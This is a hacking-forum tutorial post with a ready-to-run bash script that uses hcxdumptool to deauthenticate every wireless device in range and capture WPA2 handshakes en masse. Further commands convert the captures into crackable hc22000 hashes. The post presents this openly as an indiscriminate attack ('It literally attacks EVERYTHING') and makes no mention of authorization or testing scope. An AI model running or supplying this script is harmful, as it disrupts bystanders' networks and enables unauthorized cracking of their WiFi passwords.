Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

The Brotherhood 

{Tutorial} Grabbing Mass WPA2 Handshakes Using hcxdumptool

[Image: 6.gif]
Grabbing Mass WPA2 Handshakes Using hcxdumptool


After trying pretty much every tool and method out there (aircrack-ng (suite), bettercap, wifite, etc.), this hcxdumptool script has been the most consistent for me. I am using an Alfa AWUS036AXML adapter with 2 Alfa MPA-M25 antennas, but the original antennas work fine also. This is a very aggressive attack so it will deauth all devices in range including your own while it is running. It literally attacks EVERYTHING.
[Image: 2-2.gif]

Prerequisites
Linux, tested on Debian
hcxdumptool installed
Code
sudo apt install hcxdumptool
A WiFi adapter that supports monitor mode and packet sniffing, im using an Alfa AWUS036AXML

Make sure you check your NIC's name given by the OS. Mine was "wlx00c0cab72e58" so your going to have to find that in the script and change it to yours and your directories accordingly. You can see your NIC's name with this commands
Code
ip link show


Also your drivers will prob be different so make sure you go over those and change it. To check your driver for your NIC use this command.
Code
ethtool -i wlx00c0cab72e58
[Image: 2-2.gif]

The Script

Code
#!/bin/bash
IFACE="wlx00c0cab72e58"

echo "[+] Resetting WiFi adapter..."
sudo pkill hcxdumptool 2>/dev/null
sudo pkill wpa_supplicant 2>/dev/null

sudo ip link set $IFACE down

echo "[+] Reloading mt7921u driver..."
sudo modprobe -r mt7921u
sleep 5
sudo modprobe mt7921u
sleep 8

echo "[+] Clearing rfkill..."
sudo rfkill unblock all
sleep 1

CAPTURE="capture_$(date +%Y%m%d_%H%M%S).pcapng"
echo
echo "[+] Starting hcxdumptool"
echo "[+] Saving to: $CAPTURE"
echo

sudo hcxdumptool \
-i $IFACE \
-w $CAPTURE \
--rds=1 \
-F
[Image: PnDqmIZ.png]
[Image: 2-2.gif]

Check to make sure its hoping channels and not stuck on 1 channel.

Code
watch -n 1 'iw dev wlx00c0cab72e58 info | grep channel'

Converting the Capture

After it has run as long as you want we need to convert the capture file to a .txt file so we can read all the juicy info for each network.
Code
# Extract valid handshakes into the modern .hc22000 format
hcxpcapngtool -o hashes.hc22000 capture.pcapng

# View a clean list of the network names you caught
hcxhashtool -i hashes.hc22000 --info=stdout
[Image: 6.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by vsky11Sep 11, 2026 04:38 PM 2 141 Sep 11, 2026 04:38 PM
Last Post: vsky11
by MiddleMay 6, 2026 11:15 PM 191 11,644 May 6, 2026 11:15 PM
Last Post: Reversessh
[The Brotherhood] by WakeApr 26, 2026 03:58 AM 14 911 Apr 26, 2026 03:58 AM
Last Post: Wake